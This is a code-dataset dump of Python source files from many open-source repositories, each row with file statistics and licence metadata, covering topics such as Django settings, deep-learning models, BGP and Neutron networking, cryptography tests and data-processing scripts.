Revises: 55912b4a9d56
Create Date: 2015-12-09 11:35:03.872107
"""
# revision identifiers, used by Alembic.
revision = '384da3b88896'
down_revision = '55912b4a9d56'
branch_labels = None
depends_on = None
from alembic import op
import sqlalchemy as sa
def upgrade():
... | 16.56 | 67 | 0.736715 |
revision = '384da3b88896'
down_revision = '55912b4a9d56'
branch_labels = None
depends_on = None
from alembic import op
import sqlalchemy as sa
def upgrade():
op.execute("update dataset set contact = 'f.c.seifart@uva.nl'")
def downgrade():
pass
| true | true |
1c4a978548c2fd3c6dc15d9d6849941890ca2470 | 1,984 | py | Python | COS498_FinalPrj/extr_pdf.py | melkimble/COS498 | c09ab1ee61f46ebd7b8b9a645787e474df62c3e2 | [
"MIT"
] | null | null | null | COS498_FinalPrj/extr_pdf.py | melkimble/COS498 | c09ab1ee61f46ebd7b8b9a645787e474df62c3e2 | [
"MIT"
] | null | null | null | COS498_FinalPrj/extr_pdf.py | melkimble/COS498 | c09ab1ee61f46ebd7b8b9a645787e474df62c3e2 | [
"MIT"
] | null | null | null | '''
https://stackoverflow.com/questions/26494211/extracting-text-from-a-pdf-file-using-pdfminer-in-python
https://github.com/pdfminer/pdfminer.six
'''
import io
import os
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAPa... | 32 | 152 | 0.634073 |
import io
import os
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
def convert_pdf_to_txt(path):
rsrcmgr = PDFResourceManager()
retstr = io.StringIO()
codec = 'utf... | true | true |
1c4a97869018cd998d4a5dc0c14d4c8520f52232 | 851 | py | Python | my_boilerplate_django_admin/core/helpers/string.py | diegoMasin/my-boilerplate-djangoadmin | ef84516957b4742a8459519ace15e37107691456 | [
"MIT"
] | null | null | null | my_boilerplate_django_admin/core/helpers/string.py | diegoMasin/my-boilerplate-djangoadmin | ef84516957b4742a8459519ace15e37107691456 | [
"MIT"
] | null | null | null | my_boilerplate_django_admin/core/helpers/string.py | diegoMasin/my-boilerplate-djangoadmin | ef84516957b4742a8459519ace15e37107691456 | [
"MIT"
] | null | null | null | def is_cpf(cpf):
# Obtém apenas os números do CPF, ignorando pontuações
numbers = [int(digit) for digit in cpf if digit.isdigit()]
# Verifica se o CPF possui 11 números:
if len(numbers) != 11:
return False
# Verifica se todos os números são repetidos
if len(list(dict.fromkeys(numbers))... | 32.730769 | 81 | 0.642773 | def is_cpf(cpf):
numbers = [int(digit) for digit in cpf if digit.isdigit()]
if len(numbers) != 11:
return False
if len(list(dict.fromkeys(numbers))) == 1:
return False
sum_of_products = sum(a * b for a, b in zip(numbers[0:9], range(10, 1, -1)))
expected_digit =... | true | true |
1c4a980951b00ae54b20a33ead879e7bc50123b1 | 1,172 | py | Python | opentech/settings/production.py | JakabGy/hypha | 32634080ba1cb369f07f27f6616041e4eca8dbf2 | [
"BSD-3-Clause"
] | null | null | null | opentech/settings/production.py | JakabGy/hypha | 32634080ba1cb369f07f27f6616041e4eca8dbf2 | [
"BSD-3-Clause"
] | null | null | null | opentech/settings/production.py | JakabGy/hypha | 32634080ba1cb369f07f27f6616041e4eca8dbf2 | [
"BSD-3-Clause"
] | null | null | null | import os
from .base import * # noqa
# Disable debug mode
DEBUG = False
# Configuration from environment variables
env = os.environ.copy()
# Alternatively, you can set these in a local.py file on the server
try:
from .local import * # noqa
except ImportError:
pass
# Mailgun configuration.
if 'MAILGUN_AP... | 27.904762 | 85 | 0.716724 | import os
from .base import *
DEBUG = False
env = os.environ.copy()
try:
from .local import *
except ImportError:
pass
if 'MAILGUN_API_KEY' in env:
EMAIL_BACKEND = 'anymail.backends.mailgun.EmailBackend'
ANYMAIL = {
"MAILGUN_API_KEY": env['MAILGUN_API_KEY'],
"MAILGUN_SENDER... | true | true |
1c4a9a3776b6c9427c9e3dbf1a0cdddedadfcf4c | 1,811 | py | Python | setup.py | mcanu/django-jstemplate | 9af1e22681a318d077f4908b5c92d901e163772f | [
"BSD-3-Clause"
] | 11 | 2015-04-02T00:24:05.000Z | 2020-08-13T01:57:57.000Z | setup.py | mcanu/django-jstemplate | 9af1e22681a318d077f4908b5c92d901e163772f | [
"BSD-3-Clause"
] | 7 | 2015-03-03T09:54:34.000Z | 2021-04-04T14:35:03.000Z | setup.py | mcanu/django-jstemplate | 9af1e22681a318d077f4908b5c92d901e163772f | [
"BSD-3-Clause"
] | 8 | 2015-01-01T18:56:32.000Z | 2019-05-07T18:23:04.000Z | from os.path import join, dirname, abspath
from setuptools import setup, find_packages
here = dirname(abspath(__file__))
long_description = (open(join(here, "README.rst")).read() + "\n\n" +
open(join(here, "CHANGES.rst")).read() + "\n\n" +
open(join(here, "TODO.rst")).read())
... | 34.169811 | 120 | 0.595803 | from os.path import join, dirname, abspath
from setuptools import setup, find_packages
here = dirname(abspath(__file__))
long_description = (open(join(here, "README.rst")).read() + "\n\n" +
open(join(here, "CHANGES.rst")).read() + "\n\n" +
open(join(here, "TODO.rst")).read())
... | true | true |
1c4a9b7da7a8569e9efe0ece18d83db13ce8a2ef | 16,231 | py | Python | models/resnet.py | zyyhhxx/convNet.pytorch | 85f65f80b6d75810077c54bd3a8c9094cc2a26f9 | [
"MIT"
] | 2 | 2020-07-02T14:21:01.000Z | 2021-01-04T01:52:09.000Z | models/resnet.py | zyyhhxx/convNet.pytorch | 85f65f80b6d75810077c54bd3a8c9094cc2a26f9 | [
"MIT"
] | null | null | null | models/resnet.py | zyyhhxx/convNet.pytorch | 85f65f80b6d75810077c54bd3a8c9094cc2a26f9 | [
"MIT"
] | 1 | 2019-10-02T07:19:26.000Z | 2019-10-02T07:19:26.000Z | import torch
import torch.nn as nn
import torchvision.transforms as transforms
import math
from .modules.se import SEBlock
from .modules.checkpoint import CheckpointModule
import os
import sys
sys.path.append(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))
from utils.mixup import MixUp
__all__ = ['resnet... | 38.462085 | 152 | 0.566385 | import torch
import torch.nn as nn
import torchvision.transforms as transforms
import math
from .modules.se import SEBlock
from .modules.checkpoint import CheckpointModule
import os
import sys
sys.path.append(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))
from utils.mixup import MixUp
__all__ = ['resnet... | true | true |
1c4a9d5d339e6b97fd46492825604da475aeac37 | 6,136 | py | Python | lib/lib/Cryptodome/SelfTest/Cipher/test_Blowfish.py | Zhangxi-Lam/alfred-google-keep | 9f8f891e103f33a7e749907fe5cbfcf779131c8e | [
"MIT"
] | 2,557 | 2016-07-19T22:20:45.000Z | 2022-01-25T10:53:35.000Z | lib/lib/Cryptodome/SelfTest/Cipher/test_Blowfish.py | Zhangxi-Lam/alfred-google-keep | 9f8f891e103f33a7e749907fe5cbfcf779131c8e | [
"MIT"
] | 1,360 | 2016-07-20T02:06:42.000Z | 2021-07-27T12:46:40.000Z | lib/lib/Cryptodome/SelfTest/Cipher/test_Blowfish.py | Zhangxi-Lam/alfred-google-keep | 9f8f891e103f33a7e749907fe5cbfcf779131c8e | [
"MIT"
] | 607 | 2016-07-20T03:34:04.000Z | 2022-01-05T14:57:09.000Z | # -*- coding: utf-8 -*-
#
# SelfTest/Cipher/test_Blowfish.py: Self-test for the Blowfish cipher
#
# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>
#
# ===================================================================
# The contents of this file are dedicated to the public domain. To
# the extent that d... | 49.088 | 79 | 0.71105 |
import unittest
from Cryptodome.Util.py3compat import bchr
from Cryptodome.Cipher import Blowfish
test_data = [
('0000000000000000', '4ef997456198dd78', '0000000000000000'),
('ffffffffffffffff', '51866fd5b85ecb8a', 'ffffffffffffffff'),
('1000000000000001', '7d856f9a613063f2... | true | true |
1c4a9dab8a4dee81d5f84fa57fcef0380cf1a15a | 5,951 | py | Python | google/auth/crypt/_python_rsa.py | renovate-bot/google-auth-library-python | a4cf9b1bf461a3fb35432e42f4d8bc1a8ff7bc97 | [
"Apache-2.0"
] | 4 | 2021-10-20T12:39:09.000Z | 2022-02-26T15:02:08.000Z | google/auth/crypt/_python_rsa.py | renovate-bot/google-auth-library-python | a4cf9b1bf461a3fb35432e42f4d8bc1a8ff7bc97 | [
"Apache-2.0"
] | null | null | null | google/auth/crypt/_python_rsa.py | renovate-bot/google-auth-library-python | a4cf9b1bf461a3fb35432e42f4d8bc1a8ff7bc97 | [
"Apache-2.0"
] | 1 | 2021-10-20T13:47:10.000Z | 2021-10-20T13:47:10.000Z | # Copyright 2016 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | 34.005714 | 84 | 0.65384 |
from __future__ import absolute_import
import io
from pyasn1.codec.der import decoder
from pyasn1_modules import pem
from pyasn1_modules.rfc2459 import Certificate
from pyasn1_modules.rfc5208 import PrivateKeyInfo
import rsa
from google.auth import _helpers
from google.auth.crypt import base
_POW2 = ... | true | true |
1c4a9db4d968f272c0318dc71a033cc4af40f6ef | 6,241 | py | Python | biotrees/shape/__init__.py | bielr/biotrees | dc588888cec557d9522fc6faaa560488a95c946d | [
"Apache-2.0"
] | null | null | null | biotrees/shape/__init__.py | bielr/biotrees | dc588888cec557d9522fc6faaa560488a95c946d | [
"Apache-2.0"
] | null | null | null | biotrees/shape/__init__.py | bielr/biotrees | dc588888cec557d9522fc6faaa560488a95c946d | [
"Apache-2.0"
] | null | null | null | from biotrees.util import iter_merge, skip_nth
"""
A `Shape` represents a topological tree. The data structure implemented here is of recursive type: a `Shape` can be
either a leaf or a list of `Shape` objects. Leaves are not distinguishable, but we know that they are leaves.
We choose a sorted shape to be the class r... | 28.239819 | 121 | 0.577792 | from biotrees.util import iter_merge, skip_nth
__all__ = ['Shape']
class Shape(object):
LEAF = None
CHERRY = None
def __init__(self, children=None):
assert children is None or len(children) > 0
self.children = children
def is_leaf(self):
return self.children is None
... | true | true |
1c4a9e04658f85d01a0faf1688239f940ae2016c | 552 | py | Python | scripts/subscribe_kinect.py | hubertbraszko/follow-marker | 2c168c2c9705fc2076712e20c62e05a439df6cf8 | [
"BSD-3-Clause"
] | null | null | null | scripts/subscribe_kinect.py | hubertbraszko/follow-marker | 2c168c2c9705fc2076712e20c62e05a439df6cf8 | [
"BSD-3-Clause"
] | null | null | null | scripts/subscribe_kinect.py | hubertbraszko/follow-marker | 2c168c2c9705fc2076712e20c62e05a439df6cf8 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python
import rospy
from std_msgs.msg import String
import sys
import cv2
from cv_bridge import CvBridge
from sensor_msgs.msg import Image
def process_image(msg):
bridge = CvBridge()
img = bridge.imgmsg_to_cv2(msg, "bgr8")
cv2.imshow("image",img)
cv2.waitKey(50)
if __name__ == '__main__... | 25.090909 | 78 | 0.706522 |
import rospy
from std_msgs.msg import String
import sys
import cv2
from cv_bridge import CvBridge
from sensor_msgs.msg import Image
def process_image(msg):
bridge = CvBridge()
img = bridge.imgmsg_to_cv2(msg, "bgr8")
cv2.imshow("image",img)
cv2.waitKey(50)
if __name__ == '__main__':
while not rosp... | true | true |
1c4a9e3834a7eccc3c3b7c6fddcede09ac3c225d | 4,372 | py | Python | contrib/seeds/generate-seeds.py | pniwre/Sato_origin | 5accbe690dbd2cae305cc7120a4824243f89701c | [
"MIT"
] | null | null | null | contrib/seeds/generate-seeds.py | pniwre/Sato_origin | 5accbe690dbd2cae305cc7120a4824243f89701c | [
"MIT"
] | null | null | null | contrib/seeds/generate-seeds.py | pniwre/Sato_origin | 5accbe690dbd2cae305cc7120a4824243f89701c | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# Copyright (c) 2014-2017 Wladimir J. van der Laan
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
'''
Script to generate list of seed nodes for chainparams.cpp.
This script expects two text files in the dir... | 31.453237 | 98 | 0.579597 |
from base64 import b32decode
from binascii import a2b_hex
import sys, os
import re
pchIPv4 = bytearray([0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xff])
pchOnionCat = bytearray([0xFD,0x87,0xD8,0x7E,0xEB,0x43])
def name_to_ipv6(addr):
if len(addr)>6 and addr.endswith('.onion'):
vchAddr = b32decode(addr[0:... | true | true |
1c4a9e6deb4f7f104b05973b61354f9580522564 | 460 | py | Python | bin/rehex.py | CryptoDEX/sentinel | 88ac417f34c4f42670298abf3f252ab8652b7887 | [
"MIT"
] | null | null | null | bin/rehex.py | CryptoDEX/sentinel | 88ac417f34c4f42670298abf3f252ab8652b7887 | [
"MIT"
] | null | null | null | bin/rehex.py | CryptoDEX/sentinel | 88ac417f34c4f42670298abf3f252ab8652b7887 | [
"MIT"
] | null | null | null | import simplejson
import binascii
import sys
import pdb
from pprint import pprint
import sys
import os
sys.path.append(os.path.normpath(os.path.join(os.path.dirname(__file__), '../lib')))
import cryptodexlib
# ============================================================================
usage = "%s <hex>" % sys.argv[0]
... | 20.909091 | 84 | 0.591304 | import simplejson
import binascii
import sys
import pdb
from pprint import pprint
import sys
import os
sys.path.append(os.path.normpath(os.path.join(os.path.dirname(__file__), '../lib')))
import cryptodexlib
usage = "%s <hex>" % sys.argv[0]
obj = None
if len(sys.argv) < 2:
print(usage)
sys.exit(1)
else:
o... | true | true |
1c4a9e7ab48b06150d1646076a4a5a0117b6efcc | 2,186 | py | Python | utils/modify_ravdess.py | sahiljuneja/kaggle-ctds | caac226f2c5d33b6d324c5cf33a777758b9163d1 | [
"CC-BY-4.0"
] | null | null | null | utils/modify_ravdess.py | sahiljuneja/kaggle-ctds | caac226f2c5d33b6d324c5cf33a777758b9163d1 | [
"CC-BY-4.0"
] | null | null | null | utils/modify_ravdess.py | sahiljuneja/kaggle-ctds | caac226f2c5d33b6d324c5cf33a777758b9163d1 | [
"CC-BY-4.0"
] | null | null | null | import re
import os
import argparse
import librosa
import librosa.display
import matplotlib.pyplot as plt
import numpy as np
def modify_data(input_path, save_path, dir_dict):
path = os.listdir(input_path)
for folders in path:
folders = os.path.sep.join([input_path, folders])
... | 31.681159 | 98 | 0.578225 | import re
import os
import argparse
import librosa
import librosa.display
import matplotlib.pyplot as plt
import numpy as np
def modify_data(input_path, save_path, dir_dict):
path = os.listdir(input_path)
for folders in path:
folders = os.path.sep.join([input_path, folders])
... | true | true |
1c4aa08fdf2f3f6ab9a83890a7c17c9b27fbc3ac | 6,062 | py | Python | dyne/adjacency/coherence.py | akhambhati/dyne2 | d2f050b3d14ef429fc9c52821e87f1c9a52a521d | [
"BSD-3-Clause"
] | 7 | 2015-01-11T03:57:19.000Z | 2020-07-11T12:05:57.000Z | dyne/adjacency/coherence.py | akhambhati/dyne | d2f050b3d14ef429fc9c52821e87f1c9a52a521d | [
"BSD-3-Clause"
] | null | null | null | dyne/adjacency/coherence.py | akhambhati/dyne | d2f050b3d14ef429fc9c52821e87f1c9a52a521d | [
"BSD-3-Clause"
] | null | null | null | """
Coherence pipes for quantifying signal similarity (i.e. connectivity)
Created by: Ankit Khambhati
Change Log
----------
2016/03/06 - Implemented WelchCoh and MTCoh pipes
"""
from __future__ import division
import numpy as np
from mtspec import mt_coherence, mtspec
from scipy.signal import coherence
import matplo... | 32.591398 | 81 | 0.54421 |
from __future__ import division
import numpy as np
from mtspec import mt_coherence, mtspec
from scipy.signal import coherence
import matplotlib.pyplot as plt
from ..errors import check_type
from ..base import AdjacencyPipe
class WelchCoh(AdjacencyPipe):
def __init__(self, window, secperseg, pctoverlap, cf):
... | true | true |
1c4aa09a56123eb89175e65ef12cd083888a57e1 | 3,456 | py | Python | generated-libraries/python/netapp/iscsi/iscsi_security_entry_info.py | radekg/netapp-ontap-lib-get | 6445ebb071ec147ea82a486fbe9f094c56c5c40d | [
"MIT"
] | 2 | 2017-03-28T15:31:26.000Z | 2018-08-16T22:15:18.000Z | generated-libraries/python/netapp/iscsi/iscsi_security_entry_info.py | radekg/netapp-ontap-lib-get | 6445ebb071ec147ea82a486fbe9f094c56c5c40d | [
"MIT"
] | null | null | null | generated-libraries/python/netapp/iscsi/iscsi_security_entry_info.py | radekg/netapp-ontap-lib-get | 6445ebb071ec147ea82a486fbe9f094c56c5c40d | [
"MIT"
] | null | null | null | from netapp.netapp_object import NetAppObject
class IscsiSecurityEntryInfo(NetAppObject):
"""
Information about a single authentication entry.
"""
_user_name = None
@property
def user_name(self):
"""
Inbound CHAP user name, returned only if auth-type is CHAP.
"""
... | 30.052174 | 100 | 0.575521 | from netapp.netapp_object import NetAppObject
class IscsiSecurityEntryInfo(NetAppObject):
_user_name = None
@property
def user_name(self):
return self._user_name
@user_name.setter
def user_name(self, val):
if val != None:
self.validate('user_name', val)
self... | true | true |
1c4aa18bf302180255957ac3409b0d4e79760721 | 6,458 | py | Python | scripts/classification/PointNet/run_pointnet_classification.py | amiralansary/BrainSurfaceTK | 17e3ef5e1c5d6e1a75293fbe031977ec3fbe0fef | [
"MIT"
] | 7 | 2020-08-04T19:27:33.000Z | 2022-01-28T18:00:21.000Z | scripts/classification/PointNet/run_pointnet_classification.py | amiralansary/BrainSurfaceTK | 17e3ef5e1c5d6e1a75293fbe031977ec3fbe0fef | [
"MIT"
] | null | null | null | scripts/classification/PointNet/run_pointnet_classification.py | amiralansary/BrainSurfaceTK | 17e3ef5e1c5d6e1a75293fbe031977ec3fbe0fef | [
"MIT"
] | 3 | 2020-12-31T17:26:21.000Z | 2021-02-11T19:24:56.000Z | import os.path as osp
PATH_TO_ROOT = osp.join(osp.dirname(osp.realpath(__file__)), '..', '..')
import sys
sys.path.append(PATH_TO_ROOT)
import os
import time
import pickle
import csv
import torch
from torch.optim.lr_scheduler import StepLR
from torch.utils.tensorboard import SummaryWriter
from models.pointnet.src.... | 36.485876 | 114 | 0.562713 | import os.path as osp
PATH_TO_ROOT = osp.join(osp.dirname(osp.realpath(__file__)), '..', '..')
import sys
sys.path.append(PATH_TO_ROOT)
import os
import time
import pickle
import csv
import torch
from torch.optim.lr_scheduler import StepLR
from torch.utils.tensorboard import SummaryWriter
from models.pointnet.src.... | true | true |
1c4aa2032c5c511a7b7e429659929c7288dac84f | 360 | py | Python | exercises/ja/solution_03_16_02.py | YanaPalacheva/spacy-course | 59975f7348a601532303be91474d75d02d0540ef | [
"MIT"
] | 1 | 2021-12-30T06:40:11.000Z | 2021-12-30T06:40:11.000Z | exercises/ja/solution_03_16_02.py | YanaPalacheva/spacy-course | 59975f7348a601532303be91474d75d02d0540ef | [
"MIT"
] | null | null | null | exercises/ja/solution_03_16_02.py | YanaPalacheva/spacy-course | 59975f7348a601532303be91474d75d02d0540ef | [
"MIT"
] | 1 | 2020-06-08T13:26:06.000Z | 2020-06-08T13:26:06.000Z | import spacy
nlp = spacy.load("en_core_web_sm")
text = (
"Chick-fil-A is an American fast food restaurant chain headquartered in "
"the city of College Park, Georgia, specializing in chicken sandwiches."
)
# taggerとparserを無効化する
with nlp.disable_pipes("tagger", "parser"):
# テキストを処理する
doc = nlp(text)
... | 24 | 77 | 0.708333 | import spacy
nlp = spacy.load("en_core_web_sm")
text = (
"Chick-fil-A is an American fast food restaurant chain headquartered in "
"the city of College Park, Georgia, specializing in chicken sandwiches."
)
with nlp.disable_pipes("tagger", "parser"):
doc = nlp(text)
print(doc.ents)
| true | true |
1c4aa2704b6464d4b7b602bb5e3d69e965b711b1 | 3,835 | py | Python | src/python/Utils/MemoryCache.py | tslazarova/WMCore | a09e2aefe700fb9b0d12b9f7089b21bde5a5bd62 | [
"Apache-2.0"
] | 1 | 2015-02-05T13:43:46.000Z | 2015-02-05T13:43:46.000Z | src/python/Utils/MemoryCache.py | tslazarova/WMCore | a09e2aefe700fb9b0d12b9f7089b21bde5a5bd62 | [
"Apache-2.0"
] | null | null | null | src/python/Utils/MemoryCache.py | tslazarova/WMCore | a09e2aefe700fb9b0d12b9f7089b21bde5a5bd62 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Simple in-memory and non-thread safe cache.
Note that this module does not support home-made object types, since there is
an explicit data type check when adding a new item to the cache.
It raises a TypeError exception if the cache data type chagens;
or if the user tri... | 39.132653 | 114 | 0.642503 |
from __future__ import (print_function, division)
from builtins import object
from time import time
class MemoryCacheException(Exception):
def __init__(self, message):
super(MemoryCacheException, self).__init__(message)
class MemoryCache(object):
__slots__ = ["lastUpdate", "expiration", "_cache"... | true | true |
1c4aa339091f326094a1c407dad313c0bd77f65a | 52,647 | py | Python | ryu/services/protocols/bgp/bgpspeaker.py | starlingx-staging/stx-ryu | e73cdeab37d4890138f9c48bf41cf08974ab2146 | [
"Apache-2.0"
] | null | null | null | ryu/services/protocols/bgp/bgpspeaker.py | starlingx-staging/stx-ryu | e73cdeab37d4890138f9c48bf41cf08974ab2146 | [
"Apache-2.0"
] | null | null | null | ryu/services/protocols/bgp/bgpspeaker.py | starlingx-staging/stx-ryu | e73cdeab37d4890138f9c48bf41cf08974ab2146 | [
"Apache-2.0"
] | null | null | null | # Copyright (C) 2014 Nippon Telegraph and Telephone Corporation.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | 38.428467 | 87 | 0.637757 |
import netaddr
from ryu.lib import hub
from ryu.lib.packet.bgp import (
BGPFlowSpecTrafficActionCommunity,
BGPFlowSpecVlanActionCommunity,
BGPFlowSpecTPIDActionCommunity,
)
from ryu.services.protocols.bgp.core_manager import CORE_MANAGER
from ryu.services.protocols.bgp.signals.emit import Bg... | true | true |
1c4aa49b54346a99f2e75e366d65a02354ae6854 | 24,529 | py | Python | neutron/agent/linux/ip_lib.py | insequent/neutron | 2b1c4f121e3e8ba1c5eb2ba6661bf6326e1507c5 | [
"Apache-2.0"
] | null | null | null | neutron/agent/linux/ip_lib.py | insequent/neutron | 2b1c4f121e3e8ba1c5eb2ba6661bf6326e1507c5 | [
"Apache-2.0"
] | null | null | null | neutron/agent/linux/ip_lib.py | insequent/neutron | 2b1c4f121e3e8ba1c5eb2ba6661bf6326e1507c5 | [
"Apache-2.0"
] | null | null | null | # Copyright 2012 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requ... | 34.068056 | 79 | 0.555669 |
import eventlet
import netaddr
import os
from oslo_config import cfg
from oslo_log import log as logging
from neutron.agent.linux import utils
from neutron.common import exceptions
from neutron.i18n import _LE
LOG = logging.getLogger(__name__)
OPTS = [
cfg.BoolOpt('ip_lib_force_root',
... | true | true |
1c4aa4e22c898d243a62cb37a4da258b2d74fcfd | 1,829 | py | Python | imageRead/aluno/models.py | Sou-eu-Miguel/reply-card | d2b8716c02e593d627c6d88c7252c4abc897532b | [
"Apache-2.0"
] | 1 | 2018-12-12T21:36:10.000Z | 2018-12-12T21:36:10.000Z | imageRead/aluno/models.py | LucasLimakxy/reply-card | d2b8716c02e593d627c6d88c7252c4abc897532b | [
"Apache-2.0"
] | 6 | 2021-02-02T22:56:52.000Z | 2022-03-12T00:43:59.000Z | imageRead/aluno/models.py | Sou-eu-Miguel/reply-card | d2b8716c02e593d627c6d88c7252c4abc897532b | [
"Apache-2.0"
] | 1 | 2018-12-13T20:58:16.000Z | 2018-12-13T20:58:16.000Z | from decimal import Decimal
from django.core.validators import MinValueValidator
from django.db import models
from django.urls import reverse
from ..turma.models import Turma, Sessao
# Create your models here.
class Aluno(models.Model):
nome = models.CharField('Nome', max_length=60)
matricula = mod... | 38.104167 | 140 | 0.65883 | from decimal import Decimal
from django.core.validators import MinValueValidator
from django.db import models
from django.urls import reverse
from ..turma.models import Turma, Sessao
class Aluno(models.Model):
nome = models.CharField('Nome', max_length=60)
matricula = models.CharField('matricula',... | true | true |
1c4aa575b2068b531412b4623eb5aec01caa096f | 6,973 | py | Python | applications/FSIapplication/test_examples/flag_test.gid/flag_test.py | jiaqiwang969/Kratos-test | ed082abc163e7b627f110a1ae1da465f52f48348 | [
"BSD-4-Clause"
] | null | null | null | applications/FSIapplication/test_examples/flag_test.gid/flag_test.py | jiaqiwang969/Kratos-test | ed082abc163e7b627f110a1ae1da465f52f48348 | [
"BSD-4-Clause"
] | null | null | null | applications/FSIapplication/test_examples/flag_test.gid/flag_test.py | jiaqiwang969/Kratos-test | ed082abc163e7b627f110a1ae1da465f52f48348 | [
"BSD-4-Clause"
] | null | null | null | ##################################################################
##################################################################
#setting the domain size for the problem to be solved
domain_size = 2
##################################################################
################################################... | 35.040201 | 150 | 0.76452 | false | true | |
1c4aa98aa4f83548da28cc3f7672a27cd6f68e46 | 137 | py | Python | buildscripts/condarecipe/run_test.py | meawoppl/numba | bb8df0aee99133c6d52465ae9f9df2a7996339f3 | [
"BSD-2-Clause"
] | null | null | null | buildscripts/condarecipe/run_test.py | meawoppl/numba | bb8df0aee99133c6d52465ae9f9df2a7996339f3 | [
"BSD-2-Clause"
] | null | null | null | buildscripts/condarecipe/run_test.py | meawoppl/numba | bb8df0aee99133c6d52465ae9f9df2a7996339f3 | [
"BSD-2-Clause"
] | null | null | null | import sys
import numba
if not numba.test():
print("Test failed")
sys.exit(1)
print('numba.__version__: %s' % numba.__version__)
| 19.571429 | 50 | 0.693431 | import sys
import numba
if not numba.test():
print("Test failed")
sys.exit(1)
print('numba.__version__: %s' % numba.__version__)
| true | true |
1c4aa9eedb3b1c6e2e7a3e567eb7ad686eaa3237 | 95 | py | Python | src/learndash/api_resources/__init__.py | MarkMacDon/learndash-python | a3fbfc45567a524b80c732d735f2ae101119f2e4 | [
"MIT"
] | null | null | null | src/learndash/api_resources/__init__.py | MarkMacDon/learndash-python | a3fbfc45567a524b80c732d735f2ae101119f2e4 | [
"MIT"
] | 1 | 2021-05-06T19:01:24.000Z | 2021-05-06T19:01:24.000Z | src/learndash/api_resources/__init__.py | MarkMacDon/learndash-python | a3fbfc45567a524b80c732d735f2ae101119f2e4 | [
"MIT"
] | 2 | 2021-05-05T22:45:04.000Z | 2021-07-24T08:47:02.000Z | from learndash.api_resources.course import Course
from learndash.api_resources.user import User | 47.5 | 49 | 0.884211 | from learndash.api_resources.course import Course
from learndash.api_resources.user import User | true | true |
1c4aaa3ecbd03e5bc7c441414b0760d3b67f14f2 | 14,518 | py | Python | analysis_tools/iFAB/psu_python_library/hull_cost_model.py | lefevre-fraser/openmeta-mms | 08f3115e76498df1f8d70641d71f5c52cab4ce5f | [
"MIT"
] | null | null | null | analysis_tools/iFAB/psu_python_library/hull_cost_model.py | lefevre-fraser/openmeta-mms | 08f3115e76498df1f8d70641d71f5c52cab4ce5f | [
"MIT"
] | null | null | null | analysis_tools/iFAB/psu_python_library/hull_cost_model.py | lefevre-fraser/openmeta-mms | 08f3115e76498df1f8d70641d71f5c52cab4ce5f | [
"MIT"
] | null | null | null | """
hull_cost_model.py
Matthew Woodruff (mjw5407@arl.psu.edu)
The Pennsylvania State University
Applied Research Laboratory
2013
Compute the cost and lead time for the hull based on physical
description
"""
import copy
import argparse
import math
import json
import StringIO
from collections import nam... | 35.670762 | 72 | 0.544496 | """
hull_cost_model.py
Matthew Woodruff (mjw5407@arl.psu.edu)
The Pennsylvania State University
Applied Research Laboratory
2013
Compute the cost and lead time for the hull based on physical
description
"""
import copy
import argparse
import math
import json
import StringIO
from collections import nam... | false | true |
1c4aab8843fa67ec04a2e6b2e8f6b2aacade81f0 | 1,013 | py | Python | test/test_allele_reads.py | carnivorouspeanut/isovar_comp | 74fcc12ef52d08eb4cfa85bdcda8903970babbda | [
"Apache-2.0"
] | null | null | null | test/test_allele_reads.py | carnivorouspeanut/isovar_comp | 74fcc12ef52d08eb4cfa85bdcda8903970babbda | [
"Apache-2.0"
] | null | null | null | test/test_allele_reads.py | carnivorouspeanut/isovar_comp | 74fcc12ef52d08eb4cfa85bdcda8903970babbda | [
"Apache-2.0"
] | null | null | null |
from isovar.allele_reads import AlleleRead
from isovar.locus_reads import LocusRead
from nose.tools import eq_
def make_read_at_locus(prefix, alt, suffix, base_quality=30, name="dummy"):
dummy_sequence = prefix + alt + suffix
return LocusRead(
name="dummy",
sequence=dummy_sequence,
ref... | 38.961538 | 77 | 0.740375 |
from isovar.allele_reads import AlleleRead
from isovar.locus_reads import LocusRead
from nose.tools import eq_
def make_read_at_locus(prefix, alt, suffix, base_quality=30, name="dummy"):
dummy_sequence = prefix + alt + suffix
return LocusRead(
name="dummy",
sequence=dummy_sequence,
ref... | true | true |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.